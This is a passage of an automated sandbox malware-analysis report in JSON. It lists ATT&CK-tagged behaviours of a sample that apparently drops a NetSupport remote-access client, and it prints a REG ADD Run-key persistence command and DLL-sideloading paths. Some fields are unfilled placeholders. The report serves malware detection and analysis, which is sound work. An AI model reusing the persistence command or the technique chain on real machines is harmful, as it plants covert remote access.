\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006116)\n \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00006116)\n \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00006116)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006116)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" called \"IsWow64Process\" with parameter \"6116\" - (UID: 00000000-00006116)\n \"bild.exe\" called \"IsWow64Process\" with parameter \"1236\" - (UID: 00000000-00001236)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" called \"GetActiveWindow\" (UID: 00000000-00006116)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" called \"OpenMutexW\" with parameter \"DefaultTabtip-MainUI\" - (UID: 00000000-00006116)\n \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00006116)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.dll at 62245-1746-00419B7B\n GetTickCount@KERNEL32.DLL at 00000000-00006116-63370-1239-01309B7B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindNextFileW@KERNEL32.dll at 62245-1023-0040A273\n FindFirstFileExA@KERNEL32.dll at 62245-1362-00427E0E\n FindFirstFileW@KERNEL32.dll at 62245-1784-0041A545\n FindNextFileW@KERNEL32.DLL at 00000000-00006116-63370-370-012FA273\n FindFirstFileExA@KERNEL32.DLL at 00000000-00006116-63370-796-01317E0E\n FindFirstFileW@KERNEL32.DLL at 00000000-00006116-63370-1277-0130A545","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"FileTimeToSystemTime@KERNEL32.dll at 62245-1072-00410050\n FileTimeToLocalFileTime@KERNEL32.dll at 62245-1140-0040FE20\n FileTimeToLocalFileTime@KERNEL32.dll at 62245-1784-0041A545\n FileTimeToSystemTime@KERNEL32.DLL at 00000000-00006116-63370-434-01300050\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00006116-63370-503-012FFE20\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006116-63370-738-0130DC18\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00006116-63370-1277-0130A545","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTime@KERNEL32.dll at 62245-1070-0040FFB8\n GetSystemTime@KERNEL32.DLL at 00000000-00006116-63370-432-012FFFB8\n GetLocalTime@KERNEL32.DLL at 00000000-00006116-63370-657-0130C131\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006116-63370-738-0130DC18","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00006116-63370-411-012FA8E0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.dll at 62245-1266-0041932F\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00006116-63370-636-0130932F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.dll at 62245-1277-0041C8D7\n GetSystemInfo@KERNEL32.DLL at 00000000-00006116-63370-679-0130C8D7","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 62245-2337-00428AAA\n GetProcessHeap@KERNEL32.DLL at 00000000-00006116-63370-1505-01318AAA","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %PUBLIC%\\PUBLIC\\VIDEOS\\VIDEO\\HTCTL32.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volatile registry keys","description":"\"bild.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\"; Key: \"\"; Value: \"\")\n \"bild.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\\1\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-139","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"bild.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Able to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read 32 bit PEB structure (dword ptr fs:[00000030h]) (Offset: 147048)","origin":"Binary File","mitre_attack_id":"T1027.007","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"bild.exe\")\n file/memory contains long string(File: \"remcmdstub.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObject@KERNEL32.dll at 62245-1034-0040FAC7\n Sleep@KERNEL32.dll at 62245-1746-00419B7B\n WaitForSingleObject@KERNEL32.DLL at 00000000-00006116-63370-392-012FFAC7\n WaitForSingleObject@KERNEL32.DLL at 00000000-00006116-63370-655-0130BE69\n Sleep@KERNEL32.DLL at 00000000-00006116-63370-657-0130C131\n Sleep@KERNEL32.DLL at 00000000-00006116-63370-672-012FF353\n Sleep@KERNEL32.DLL at 00000000-00006116-63370-1239-01309B7B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExA@KERNEL32.dll at 62245-1286-0041CABE\n LoadLibraryExW@KERNEL32.DLL at 00000000-00006116-63370-44-013177D1\n LoadLibraryW@KERNEL32.DLL at 00000000-00006116-63370-293-012FF309\n LoadLibraryExA@KERNEL32.DLL at 00000000-00006116-63370-688-0130CABE\n LoadLibraryExW@KERNEL32.DLL at 00000000-00006116-63370-700-01311D19","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"nskbfltr.inf\" as clean (type is \"ASCII text with CRLF line terminators\")\n Antivirus vendors marked dropped file \"netsup.bat\" as clean (type is \"DOS batch file ASCII text with CRLF line terminators\")\n Antivirus vendors marked dropped file \"TCCTL32.DLL\" as clean (type is \"PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"User-Agent: NetSupport Manager/1.3\" (Indicator: \"user-agent: \"; Source: \"00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$5c","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76B70000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"150016002073ec6a@ADVAPI32.dll\"\n \"0e000f00e473ec6a@ADVAPI32.dll\"\n \"0e000f005074ec6a@ADVAPI32.dll\"\n \"11001200d47dec6a@ADVAPI32.dll\"\n \"110012007c7eec6a@ADVAPI32.dll\"\n \"12001300cc7eec6a@ADVAPI32.dll\"\n \"12001300387fec6a@ADVAPI32.dll\"\n \"14001500e4b7ec6a@ADVAPI32.dll\"\n \"1400150000b8ec6a@ADVAPI32.dll\"\n \"140015001cb8ec6a@ADVAPI32.dll\"\n \"1700180038b8ec6a@ADVAPI32.dll\"\n \"0d000e0054b8ec6a@ADVAPI32.dll\"\n \"1100120064b8ec6a@ADVAPI32.dll\"\n \"110012007cb8ec6a@ADVAPI32.dll\"\n \"0f001000ecb9ec6a@ADVAPI32.dll\"\n \"1400150038baec6a@ADVAPI32.dll\"\n \"1400150054baec6a@ADVAPI32.dll\"\n \"0c000d00a8baec6a@ADVAPI32.dll\"\n \"0c000d00b8baec6a@ADVAPI32.dll\"\n \"0e000f00c8baec6a@ADVAPI32.dll\"\n \"0e000f00dcbaec6a@ADVAPI32.dll\"\n \"0b000c00f0baec6a@ADVAPI32.dll\"\n \"180019008cbdec6a@RPCRT4.dll\"\n \"13001400bcbdec6a@RPCRT4.dll\"\n \"14001500d4bdec6a@RPCRT4.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"May be able to execute Exchange Online Remote PowerShell Modulee","description":"Found reference to API (Indicator: \"announcement from %s [announcer-apptype: 0x%x] [target-apptype: 0x%x] [flags: 0x%08x]\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.003","relevance":1,"id":"string-770","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" connecting to \"\\ThemeApiPort\"\n \"bild.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates new processes","description":"\"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\system32\\reg.exe\")\n \"cmd.exe\" is creating a new process (Name: \"C:\\Users\\Public\\Public\\Videos\\Video\\bild.exe\")","origin":"API Call","mitre_attack_id":"T1106","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"pcicapi.dll\" has type \"PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections\"- Location: [%PUBLIC%\\Public\\Videos\\Video\\pcicapi.dll]- [targetUID: 00000000-00001236]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"System process made an unexpected change to registry persistence keys","description":"\"reg.exe\" create a persistence record with the system name as key (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"NETSTAT\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":3,"id":"registry-191","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetCancelConnection2A\" (Indicator: \"WNetCancelConnection\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"WNetAddConnection2A\" (Indicator: \"WNetAddConnection\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"WNetGetConnection\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"WNetGetConnection\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found reference to API \"WNetCancelConnection2A\" (Indicator: \"WNetCancelConnection\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found reference to API \"WNetAddConnection2A\" (Indicator: \"WNetAddConnection\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve local network connections","description":"file/memory contains long string with (Indicator: \"\"netstat\"; File: \"netsup.bat\")\n Found string \"Netstat\" (Indicator: \"netstat \"; Source: \"00000000-00003164-00000BC0-260045530\")\n Found string \"REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Netstat\" /t REG_SZ /F /D \"%PUBLIC%\\Public\\Videos\\Video\\bild.exe\"\" (Indicator: \"\"netstat\"; File: \"reg.exe\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-361","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"bild.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00001236)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /location/loca.asp\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains Wi-Fi native api calls","description":"Found reference to API \"WlanFreeMemory\" (Indicator: \"WlanFreeMemory\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found reference to API \"WlanGetAvailableNetworkList\" (Indicator: \"WlanGetAvailableNetworkList\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found reference to API \"WlanEnumInterfaces\" (Indicator: \"WlanEnumInterfaces\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found reference to API \"WlanCloseHandle\" (Indicator: \"WlanCloseHandle\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found reference to API \"WlanOpenHandle\" (Indicator: \"WlanOpenHandle\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.002","relevance":1,"id":"string-740","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 104.26.0.231 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"ookie:hapubws@www.gmx.net/\" [Source: 00000000-00001236.00000001.82769.00300000.00000004.mdmp\n 00000000-00001236.00000002.84690.00300000.00000004.mdmp]\n Observed email domain:\"ten.sdapop.evres\" [Source: 00000000-00001236.00000001.82769.00300000.00000004.mdmp\n 00000000-00001236.00000002.84690.00300000.00000004.mdmp]\n Observed email domain:\"www.gmx.net\" [Source: 00000000-00001236.00000001.82769.00300000.00000004.mdmp\n 00000000-00001236.00000002.84690.00300000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /location/loca.asp HTTP/1.1\nHost: geo.netsupportsoftware.com\nConnection: Keep-Alive\nCache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"geo.netsupportsoftware.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on process \"00000000-00006116\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Remote Access Related","name":"Able to access a remote server session","description":"Found string \"tscon %d /V /DEST:console\" (Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1563.002","relevance":1,"id":"string-785","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001236.00000000.80845.00300000.00000004.mdmp, 00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found string \"GetClipboardData\" (Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"960,3025,,RtlGetNtProductType,NTDLL.dll,\"252:08:35.137\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00001236.00000000.80845.00300000.00000004.mdmp, 00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00001236.00000001.82769.6A751000.00000020.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00001236.00000001.82769.6A751000.00000020.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00001236.00000001.82769.6A751000.00000020.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$61","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" tries to directly access volume data \"C:\"\n \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" tries to directly access volume data \"Z:\"","origin":"API Call","mitre_attack_id":"T1006","relevance":1,"id":"api-306","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"bild.exe\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at 72D10000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$62","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00006116.00000000.80349.6D4B1000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"Please enter the hostname or IP address of the Control you want to connect to.\" (Indicator: \"hostname\"; Source: \"00000000-00001236.00000000.80845.111F6000.00000002.mdmp\")\n Found string \"Cannot resolve hostname %s, error %d\" (Indicator: \"hostname\"; Source: \"00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp\")\n Found string \"HOSTNAME\" (Indicator: \"hostname\"; Source: \"00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp\")\n Found string \"HostName\" (Indicator: \"hostname\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"bild.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: 